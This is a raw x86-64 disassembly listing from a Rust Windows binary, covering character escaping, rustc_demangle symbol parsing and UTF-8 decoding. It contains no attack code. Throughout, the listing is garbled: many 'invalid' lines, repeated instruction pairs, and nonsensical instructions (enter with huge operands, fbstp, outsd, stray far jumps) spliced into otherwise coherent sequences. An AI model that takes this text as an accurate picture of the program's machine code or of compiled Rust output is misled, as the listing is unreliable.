jmp 0x1400cb9d3
mov rsi, rcx
cmp edx, 0x7f
jbe 0x1400cb9e9
mov ecx, edx
mov edi, edx
call fcn.140017cd0
mov edx, edi
test al, al
je 0x1400cb9e9
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov ecx, edx
shr ecx, 0x14
and ecx, 0xf
lea rax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx ecx, byte [rcx + rax]
mov byte [rbp - 7], cl
mov ecx, edx
shr ecx, 0x10
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 6], cl
mov ecx, edx
shr ecx, 0xc
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 5], cl
mov ecx, edx
shr ecx, 8
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 4], cl
mov ecx, edx
shr ecx, 4
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 3], cl
mov ecx, edx
and ecx, 0xf
movzx eax, byte [rcx + rax]
mov byte [rbp - 2], al
or edx, 1
bsr ecx, edx
jmp 0x1400cba72
mov word [rcx], 0x6e5c
jmp 0x1400cb9d3
mov word [rcx], 0x275c
jmp 0x1400cb9d3
mov word [rcx], 0x725c
jmp 0x1400cb9d3
mov word [rcx], 0x745c
jmp 0x1400cb9d3
mov word [rcx], 0x225c
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov edi, edx
mov ecx, edx
call fcn.140017b90
test al, al
je 0x1400cb9fe
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x1400cb9e1
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx edx, byte [rdx + rcx]
mov byte [rbp - 7], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 6], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 5], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 4], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 3], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 2], cl
or eax, 1
bsr ecx, eax
xor ecx, 0x1c
shr ecx, 2
add rcx, 0xfffffffffffffffe
cmp rcx, 0xb
jae 0x1400cbab1
mov byte [rbp + rcx - 8], 0x7b
mov word [rbp + rcx - 0xa], 0x755c
mov rax, qword [rbp - 0xa]
mov qword [rbp - 0x18], rax
movzx edx, word [rbp - 2]
mov word [rbp - 0x10], dx
mov word [rsi + 8], dx
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x1400cb9e1
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
call fcn.1401085a0
int3
ror byte [rax - 0x73], 0x55
enter 0xffffffffffff8948, 0x5d
enter 0xffffffffffff894c, 0x75
ror byte [rax - 0x39], 1
fadd dword [r8]
add byte [rax], al
add byte [rcx + rcx*4 + 0x75], cl
loopne 0x1400cceae
mov eax, 0x5f
pop rdi
add byte [rax], al
add byte [rax - 0x77], cl
call 0x141fd143d
mov word [rbp - 8], 1
mov rcx, rbp
call fcn.1400c7f20
cmp qword [rbp], 0
je 0x1400cced4
mov r8, qword [rbp + 8]
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
sub r8, rcx
add rbx, rcx
mov qword [rbp - 0x48], rax
test rdi, rdi
jne 0x1400ccf05
jmp 0x1400ccf14
mov ecx, dword [rsi + 0x20]
test bl, bl
je 0x1400cd19e
test rcx, rcx
je 0x1400cd1bd
lea rdx, [0x140144eb8]
mov r8d, 0x19
jmp 0x1400cd1b0
cmp byte [rbp - 7], 0
jne 0x1400cd1dd
mov byte [rbp - 7], 1
cmp byte [rbp - 8], 0
mov rbx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
jne 0x1400ccef9
cmp r8, rbx
je 0x1400cd1dd
sub r8, rbx
add rbx, qword [rbp - 0x38]
test rdi, rdi
je 0x1400ccf14
mov rcx, rdi
mov rdx, rbx
call fcn.140013630
test al, al
jne 0x1400ccf67
mov rax, qword [rbp - 8]
mov qword [rbp + 0x40], rax
movups xmm0, xmmword [rbp - 0x48]
movups xmm1, xmmword [rbp - 0x38]
movups xmm2, xmmword [rbp - 0x28]
movups xmm3, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x30], xmm3
movaps xmmword [rbp + 0x20], xmm2
movaps xmmword [rbp + 0x10], xmm1
movaps xmmword [rbp], xmm0
cmp byte [rbp + 0x41], 0
je 0x1400cd0d6
mov r12, rdi
test r12, r12
je 0x1400ccf6e
lea rdx, str.__fn_______falsetrue___
mov r8d, 2
mov rcx, r12
call fcn.140013630
test al, al
je 0x1400ccf6e
mov al, 1
jmp 0x1400cd1c9
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ccf95
lea rdx, [0x140144f32]
mov r8d, 3
call fcn.140013630
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd1c9
mov rax, qword [rsi]
test rax, rax
je 0x1400ccff9
lea rdi, [0x140144ed9]
xor ebx, ebx
nop word cs:[rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400ccfc0
cmp byte [rax + rcx], 0x45
je 0x1400cd02c
sub rbx, 1
jb 0x1400ccfe1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ccfe1
mov r8d, 2
mov rdx, rdi
call fcn.140013630
test al, al
jne 0x1400ccf67
mov rcx, rsi
call case.0x14009ea2d.169
test al, al
jne 0x1400ccf67
mov rax, qword [rsi]
test rax, rax
jne 0x1400ccfb0
xor eax, eax
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd03c
lea rdx, [0x14014e078]
mov r8d, 1
call fcn.140013630
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd1c9
mov rax, qword [rsi]
test rax, rax
jne 0x1400cd041
jmp 0x1400cd05d
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x1400cd004
test rax, rax
je 0x1400cd05d
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400cd05d
cmp byte [rax + rcx], 0x75
jne 0x1400cd05d
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x1400cd1c7
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd084
lea rdx, [0x140144f35]
mov r8d, 4
call fcn.140013630
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd1c9
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp case.0x14009ea2d.169
lea r14, [rbp - 0x60]
mov r12, rdi
mov r13, rdi
jmp 0x1400cd0f2
xor r12d, r12d
xor r13d, r13d
cmp byte [rbp + 0x41], 0
jne 0x1400ccf49
mov r15, qword [rbp + 0x10]
mov rcx, r14
lea rdx, [rbp + 0x10]
call fcn.1400c7f20
cmp qword [rbp - 0x60], 0
je 0x1400cd126
mov rbx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov rcx, qword [rbp]
sub rbx, rcx
add r15, rcx
mov qword [rbp], rax
test r13, r13
jne 0x1400cd157
jmp 0x1400cd0e5
cmp byte [rbp + 0x41], 0
jne 0x1400ccf49
mov byte [rbp + 0x41], 1
cmp byte [rbp + 0x40], 0
mov r15, qword [rbp]
mov rbx, qword [rbp + 8]
jne 0x1400cd14b
cmp rbx, r15
je 0x1400ccf49
invalid
std
invalid
invalid
invalid
sub rbx, r15
add r15, qword [rbp + 0x10]
test r13, r13
je 0x1400cd0e5
mov r8d, 1
mov rcx, r13
jmp 0x1b2225eac
jnp 0x1400cd16d
add al, ch
invalid
hlt
inc dword [rax + rax*8 - 0x20c7af1]
invalid
invalid
jmp 0x1b2225eac
test rdi, rdi
je 0x1400cd0e2
mov rcx, rdi
mov rdx, r15
mov r8, rbx
call fcn.140013630
mov r12, rdi
mov r13, rdi
test al, al
je 0x1400cd0e8
jmp 0x1400ccf67
std
invalid
test rcx, rcx
je 0x1400cd1bd
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd1c9
mov qword [rsi], 0
mov byte [rsi + 8], bl
xor eax, eax
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.140108970
mov bh, 3
add ah, cl
mov bh, 3
add ah, cl
int3
jae 0x1400cd228
cmp byte [rdx + r9], 0xbf
jg 0x1400cd22a
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r8
xor r8d, r8d
call fcn.140108ac0
jne 0x1400cd20e
mov rax, rdx
mov eax, edx
mov rdx, r9
add rsp, 0x30
pop rbp
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov rsi, r8
mov r13, rdx
mov ebp, edx
mov ebp, edx
mov qword [rbp - 0x38], rcx
mov qword [rsp + 0x20], 6
lea r9, str..llvm._rust_deps_rustc_demangle_0.1.23_srclib.rs
lea rcx, [rbp - 0x28]
fsubr st(0)
loop 0x1400cd22b
hlt
dec dword [rax - 0x7d]
jge 0x1400cd25a
add byte [rdi], cl
invalid
invalid
add dword [rax], eax
invalid
fsubr st(0)
loop 0x1400cd22b
hlt
mov qword [rbp - 0x30], rsi
mov qword [rbp + 0x50], r13
mov r15, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
mov rax, qword [rbp + 0x38]
lea r11, [rax - 1]
mov rdx, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x30]
cmp r15, 0xffffffffffffffff
je 0x1400cd3d4
mov r9, qword [rbp]
lea rcx, [r9 + r11]
cmp rcx, rdx
jae 0x1400cd4c8
mov r12, qword [rbp - 8]
mov r13, qword [rbp - 0x20]
loopne 0x1400cd319
mov edx, dword [rbp - 0x10]
loopne 0x1400cd319
mov edx, dword [rbp - 0x10]
mov rsi, rax
mov qword [rbp + 0x40], r10
sub rsi, r10
mov qword [rbp + 0x48], rsi
jmp 0x1400cd2f3
add r9, rax
xor r15d, r15d
lea rcx, [r9 + r11]
sbb dword [rax + 0x39], ecx
ror dword [rdi], 1
adc ebp, 1
add byte [rax], al
sbb dword [rax + 0x39], ecx
ror dword [rdi], 1
adc ebp, 1
add byte [rax], al
movzx ecx, byte [r8 + rcx]
bt r12, rcx
jae 0x1400cd2e0
cmp r13, r15
mov rdi, r15
cmova rdi, r13
std
std
lea r10, [r8 + r9]
mov rcx, rdi
nop
cmp rcx, rax
jae 0x1400cd340
mov rsi, rcx
add rcx, r9
add ecx, ecx
cmp rcx, rdx
jae 0x1400cdb7f
lea rcx, [rsi + 1]
lea ecx, [rsi + 1]
movzx r14d, byte [rbx + rsi]
cmp r14b, byte [r10 + rsi]
je 0x1400cd310
sub r9, r13
add r9, rsi
inc r9
shr ebx, 0xa5
shr ebx, 0xa5
nop
mov rcx, r13
nop word cs:[rax + rax]
cmp r15, rcx
jae 0x1400cdbfe
iretd
dec rcx
cmp rcx, rax
jae 0x1400cdd51
lea r10, [rcx + r9]
cmp r10, rdx
jae 0x1400cdb98
invalid
add byte [rdi], cl
mov dh, 0x34
or eax, dword [rbx + 0x3a]
xor al, 0x10
movzx esi, byte [rbx + rcx]
cmp sil, byte [r8 + r10]
je 0x1400cd350
add r9, qword [rbp + 0x40]
mov r15, qword [rbp + 0x48]
lea rcx, [r9 + r11]
cmp rcx, rdx
jb 0x1400cd2f3
invalid
invalid
invalid
jmp 0x1400cd4c8
lea rbx, [rbp - 0x50]
lea r15, [rbp - 0x28]
nop
mov rcx, rbx
mov rdx, r15
call fcn.1400cbca0
mov rax, qword [rbp - 0x50]
mov r8b, 0x48
cmp eax, 1
mov r8b, 0x48
cmp eax, 1
je 0x1400cd3a0
test rax, rax
jne 0x1400cd4d0
mov r9, qword [rbp - 0x48]
mov r8, r9
add r8, 6
jne 0x1400cdc0f
or byte [rax], al
invalid
or byte [rax], al
add cl, ch
push rsi
or byte [rax], al
add byte [rbx + rcx*4 + 0x4d], cl
add byte [rdi - 0x73], cl
adc al, 0x19
jmp 0x1400cdc2a
mov r9, qword [rbp]
lea r10, [r9 + r11]
cmp r10, rdx
jae 0x1400cd4c8
add byte [rax], al
add byte [rax], al
mov rdi, qword [rbp - 8]
mov r12, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
mov qword [rbp + 0x40], rcx
lea rcx, [r12 - 1]
lea r13, [rbx + r12]
dec r13
mov qword [rbp + 0x48], rcx
jmp 0x1400cd420
add r9, rax
lea r10, [r9 + r11]
cmp r10, rdx
jae 0x1400cd4c8
movzx r10d, byte [r8 + r10]
bt rdi, r10
jae 0x1400cd410
lea r10, [r8 + r9]
mov rsi, r12
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
cmp rsi, rax
jae 0x1400cd46e
mov r15, rsi
add rsi, r9
cmp rsi, rdx
jae 0x1400cdba7
lea rsi, [r15 + 1]
movzx r14d, byte [rbx + r15]
cmp r14b, byte [r10 + r15]
je 0x1400cd440
sub r9, r12
add r9, r15
inc r9
jmp 0x1400cd413
cmp rcx, rax
jae 0x1400cdbf5
lea r10, [rcx + r9]
mov rcx, r13
mov r15, r12
nop word cs:[rax + rax]
sub r15, 1
jb 0x1400cdbfe
cmp r10, rdx
jae 0x1400cdb98
movzx esi, byte [r13]
dec r13
lea r14, [r10 - 1]
add byte [rcx - 1], cl
int 0x4d
lea esi, [rdx - 1]
cmp sil, byte [r8 + r10]
mov r10, r14
je 0x1400cd490
add r9, qword [rbp + 0x40]
mov r13, rcx
mov rcx, qword [rbp + 0x48]
jmp 0x1400cd413
mov r13, qword [rbp + 0x50]
mov rsi, qword [rbp - 0x30]
cmp rsi, 3
jae 0x1400cd50d
mov r12d, 2
cmp rsi, 2
jne 0x1400cdd16
movzx eax, word [r13]
cmp eax, 0x4e5a
jne 0x1400cd6fb
mov r15, 0xfffffffffffffffe
mov ebx, 2
mov r8d, 2
jmp 0x1400cd597
movzx eax, word [r13]
xor eax, 0x5a5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x4e
or cx, ax
je 0x1400cd555
movzx eax, word [r13]
cmp eax, 0x4e5a
je 0x1400cd56f
mov ebx, 3
cmp rsi, 3
je 0x1400cd690
cmp dword [r13], 0x4e5a5f5f
je 0x1400cd62a
mov rbx, rsi
jmp 0x1400cd690
mov r15, 0xfffffffffffffffd
mov r8d, 3
cmp rsi, 3
jne 0x1400cd589
mov ebx, 3
jmp 0x1400cd597
cmp byte [r13 + 2], 0xbf
jle 0x1400cddc8
mov r8d, 2
mov r15, 0xfffffffffffffffe
jmp 0x1400cd594
cmp byte [r13 + 3], 0xbf
jle 0x1400cdde8
mov rbx, rsi
add r15, rbx
add r8, r13
lea r9, [r8 + r15]
xor eax, eax
nop word cs:[rax + rax]
cmp r15, rax
je 0x1400cd5c5
cmp byte [r8 + rax], 0
lea rax, [rax + 1]
jns 0x1400cd5b0
jmp 0x1400cd68a
test r15, r15
je 0x1400cd68a
movzx ecx, byte [r8]
movzx edx, cl
test dl, dl
js 0x1400cd5e2
lea rcx, [r8 + 1]
jmp 0x1400cd675
mov eax, edx
and eax, 0x1f
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400cd654
movzx edx, byte [r8 + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp cl, 0xf0
jb 0x1400cd66c
lea rcx, [r8 + 4]
movzx r10d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or r10d, eax
mov edx, r10d
jmp 0x1400cd675
mov r15, 0xfffffffffffffffc
mov r8d, 4
cmp rsi, 5
jb 0x1400cd662
cmp byte [r13 + 4], 0xbf
jg 0x1400cd594
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400cddef
lea rcx, [r8 + 2]
shl eax, 6
or eax, r10d
mov edx, eax
jmp 0x1400cd675
mov ebx, 4
jmp 0x1400cd597
lea rcx, [r8 + 3]
shl eax, 0xc
or edx, eax
cmp edx, 0x45
je 0x1400cd8a2
cmp edx, 0x110000
jne 0x1400cd8b8
cmp rbx, 3
jb 0x1400cd6fb
movzx eax, word [r13]
cmp eax, 0x525f
je 0x1400cd73a
cmp byte [r13], 0x52
je 0x1400cd711
mov r12d, 2
cmp rbx, 3
je 0x1400cdd16
movzx eax, word [r13]
xor eax, 0x5f5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x52
or cx, ax
jne 0x1400cdd16
movzx eax, byte [r13 + 3]
cmp al, 0xbf
jle 0x1400cde02
lea r15, [r13 + 3]
mov r14, 0xfffffffffffffffd
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400cd762
jmp 0x1400cdd16
mov ebx, 2
cmp byte [r13], 0x52
mov r12d, 2
jne 0x1400cdd16
movzx eax, byte [r13 + 1]
cmp al, 0xbf
jle 0x1400cdd60
lea r15, [r13 + 1]
mov r14, 0xffffffffffffffff
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400cd762
jmp 0x1400cdd16
movzx eax, byte [r13 + 2]
cmp al, 0xbf
jle 0x1400cdd80
lea r15, [r13 + 2]
mov r14, 0xfffffffffffffffe
add al, 0xbf
mov r12d, 2
cmp al, 0x19
ja 0x1400cdd16
add r14, rbx
xor eax, eax
nop word [rax + rax]
cmp r14, rax
je 0x1400cd785
cmp byte [r15 + rax], 0
lea rax, [rax + 1]
jns 0x1400cd770
jmp 0x1400cdd16
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400c8370
test al, al
jne 0x1400cdda0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400cdd16
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
cmp r8, r9
jae 0x1400cd871
movzx eax, byte [rcx + r8]
add al, 0xbf
cmp al, 0x1a
jae 0x1400cd871
movsd xmm0, qword [rbp - 0x10]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x18], r8
movlps qword [rbp - 0x10], xmm0
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400c8370
test al, al
jne 0x1400cdda0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400cdd16
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
test r8, r8
je 0x1400cda41
cmp r9, r8
jbe 0x1400cda3b
cmp byte [rcx + r8], 0xbf
jg 0x1400cda41
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rdx, r9
call fcn.140108ac0
xor r14d, r14d
sub r9, rcx
test r9, r9
jne 0x1400cda53
xor edx, edx
jmp 0x1400cdbca
xor r14d, r14d
mov r10d, 0xa
lea eax, [rdx - 0x30]
cmp eax, 9
ja 0x1400cd68a
xor eax, eax
jmp 0x1400cd8e0
inc rcx
cmp edx, 0x110000
je 0x1400cd68a
lea r11d, [rdx - 0x30]
cmp r11d, 0xa
jae 0x1400cd985
mul r10
jo 0x1400cd68a
mov edx, r11d
add rax, rdx
jb 0x1400cd68a
cmp rcx, r9
je 0x1400cd68a
movzx edi, byte [rcx]
movzx edx, dil
test dl, dl
jns 0x1400cd8d1
mov r11d, edx
and r11d, 0x1f
movzx r12d, byte [rcx + 1]
and r12d, 0x3f
cmp dl, 0xdf
jbe 0x1400cd962
movzx edx, byte [rcx + 2]
shl r12d, 6
and edx, 0x3f
or edx, r12d
cmp dil, 0xf0
jb 0x1400cd975
movzx esi, byte [rcx + 3]
add rcx, 4
and r11d, 7
shl r11d, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, r11d
mov edx, esi
jmp 0x1400cd8d4
add rcx, 2
shl r11d, 6
or r11d, r12d
mov edx, r11d
jmp 0x1400cd8d4
add rcx, 3
shl r11d, 0xc
or edx, r11d
jmp 0x1400cd8d4
test rax, rax
jne 0x1400cd9a3
inc r14
cmp edx, 0x45
jne 0x1400cd8c1
jmp 0x1400cd8a5
inc rcx
dec rax
je 0x1400cd98a
cmp rcx, r9
je 0x1400cd68a
movzx r12d, byte [rcx]
movzx edx, r12b
test dl, dl
jns 0x1400cd99b
mov rsi, r13
mov r11d, edx
and r11d, 0x1f
movzx r13d, byte [rcx + 1]
and r13d, 0x3f
cmp dl, 0xdf
jbe 0x1400cda10
movzx edi, byte [rcx + 2]
shl r13d, 6
and edi, 0x3f
or edi, r13d
cmp r12b, 0xf0
jb 0x1400cda26
movzx edx, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl edi, 6
and edx, 0x3f
or edx, edi
or edx, r11d
cmp edx, 0x110000
mov r13, rsi
je 0x1400cd68a
add rcx, 4
jmp 0x1400cd99e
add rcx, 2
shl r11d, 6
or r11d, r13d
mov edx, r11d
mov r13, rsi
jmp 0x1400cd99e
add rcx, 3
shl r11d, 0xc
or edi, r11d
mov edx, edi
mov r13, rsi
jmp 0x1400cd99e
jne 0x1400cd88e
add rcx, r8
sub r9, r8
xor r8d, r8d
xor eax, eax
xor eax, eax
test r9, r9
je 0x1400cd8b1
mov r12d, 2
cmp byte [rcx], 0x2e
jne 0x1400cdd16
mov qword [rbp + 0x50], r9
mov dword [rbp + 0x50], ecx
lea rax, [rcx + r9]
mov r11b, 0x2e
movabs rsi, 0x7e0000007f
mov r10, rcx
test r11b, r11b
jns 0x1400cdb30
nop word cs:[rax + rax]
mov edx, r11d
and dl, 0x1f
movzx edi, dl
movzx edx, byte [r10 + 1]
and edx, 0x3f
cmp r11b, 0xdf
jbe 0x1400cdaee
mov r9, rbx
mov rbx, r13
movzx r13d, byte [r10 + 2]
shl edx, 6
and r13d, 0x3f
or r13d, edx
cmp r11b, 0xf0
jb 0x1400cdb05
movzx r11d, byte [r10 + 3]
and edi, 7
shl edi, 0x12
shl r13d, 6
and r11d, 0x3f
or r11d, r13d
or r11d, edi
cmp r11d, 0x110000
je 0x1400cdbc0
add r10, 4
jmp 0x1400cdb12
add r10, 2
shl edi, 6
or edi, edx
mov r11d, edi
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400cdb40
ret 0xc102
jmp 0x1400cdb5d
add r10, 3
shl edi, 0xc
or r13d, edi
mov r11d, r13d
mov r13, rbx
mov rbx, r9
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400cdb40
jmp 0x1400cdb5d
inc r10
movzx r11d, r11b
lea edx, [r11 - 0x21]
cmp edx, 0x19
jb 0x1400cdb5d
mov edx, r11d
and edx, 0xffffffdf
add edx, 0xffffffbf
cmp edx, 0x1a
jb 0x1400cdb5d
lea edx, [r11 - 0x3a]
cmp edx, 0x26
ja 0x1400cdb70
bt rsi, rdx
jae 0x1400cdb70
cmp r10, rax
je 0x1400cdbc6
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400cdb30
jmp 0x1400cda90
add r11d, 0xffffff81
cmp r11d, 0xfffffffc
jae 0x1400cdb5d
jmp 0x1400cdd16
add rdi, r9
cmp rdx, rdi
cmova rdi, rdx
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, rdi
call fcn.1401085b0
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, r10
call fcn.1401085b0
add r9, r12
cmp rdx, r9
cmova r9, rdx
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, r9
call fcn.1401085b0
mov r13, rbx
mov rbx, r9
mov rdx, qword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
mov qword [rax + 8], r8
mov dword [rax + 8], eax
mov dword [rax + 8], eax
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], rbx
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rdx
mov r12d, 1
jmp 0x1400cdd16
test r12, r12
jne 0x1400cdd51
mov r13, qword [rbp + 0x50]
mov rsi, qword [rbp - 0x30]
mov r8, r9
add r8, 6
je 0x1400cdc2a
cmp r8, rsi
jae 0x1400cdc28
cmp byte [r13 + r8], 0xbf
jg 0x1400cdc2a
lea rax, [0x140144fa0]
jmp 0x1400cddef
jne 0x1400cdc1c
add r8, r13
lea rax, [rsi + r13]
jmp 0x1400cdc5c
add r8, 2
shl edx, 6
or edx, edi
mov ecx, edx
lea edx, [rcx - 0x40]
cmp edx, 7
jb 0x1400cdc5c
nop word cs:[rax + rax]
add ecx, 0xffffffd0
cmp ecx, 0xa
jae 0x1400cd4d0
cmp r8, rax
je 0x1400cdcf6
movzx r11d, byte [r8]
movzx ecx, r11b
test cl, cl
js 0x1400cdc80
inc r8
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400cdc50
jmp 0x1400cdc5c
mov edx, ecx
and edx, 0x1f
movzx edi, byte [r8 + 1]
add dword [rbx - 0x67fc019], eax
fbstp tbyte [rsi - 0x5f]
add dword [rbx - 0x67fc019], eax
fbstp tbyte [rsi - 0x5f]
movzx r10d, byte [r8 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400cdcd8
movzx ecx, byte [r8 + 3]
and edx, 7
shl edx, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, edx
cmp ecx, 0x110000
add byte [rcx], dl
invalid
je 0x1400cdcf6
add byte [rcx], dl
add byte [rax + rsi + 0x49], dh
add eax, 4
add r8, 4
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400cdc50
jmp 0x1400cdc5c
add r8, 3
shl edx, 0xc
loop 0x1400cdceb
loop 0x1400cdceb
or r10d, edx
mov ecx, r10d
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400cdc50
jmp 0x1400cdc5c
test r9, r9
je 0x1400cdd10
cmp r9, rsi
jae case.0x14001a3ad.2813
cmp byte [r13 + r9], 0xbf
jle 0x1400cdd37
mov rsi, r9
jmp 0x1400cd4d0
mov r12d, 2
add byte [rax - 0x75], cl
enter 0xffffffffffff894c, 0x20
mov rax, qword [rbp - 0x38]
mov qword [rax], r12
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
je 0x1400cd4d0
lea rax, [0x140144fb8]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
xor r8d, r8d
call fcn.140108ac0
outsd dx, dword [rsi]
lodsd eax, dword [rsi]
add eax, dword [rax]
outsd dx, dword [rsi]
lodsd eax, dword [rsi]
add eax, dword [rax]
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rdx, rax
call fcn.1401085b0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
mov r8d, 1
mov rcx, r13
mov rdx, rbx
mov r9, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.140108ac0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov rdx, rbx
fimul dword [rcx - 0x77]
fld1
invalid
lodsd eax, dword [rsi]
add eax, dword [rax]
invalid
fimul dword [rcx - 0x77]
fld1
and byte [rbp - 0x72b7fffd], ch
lea eax, [0x140144c88]
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea eax, [0x140144c88]
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1401448b8]
or eax, 0x76afe
or eax, 0x76afe
lea r8, [rbp - 0x50]
mov edx, 0x3d
call fcn.1401088e0
add eax, dword [rax]
mov al, 0xba
cmp eax, 0xe8000000
sbb byte [rbx - 0x72b7fffd], ch
add eax, dword [rax]
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
add eax, dword [rax]
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
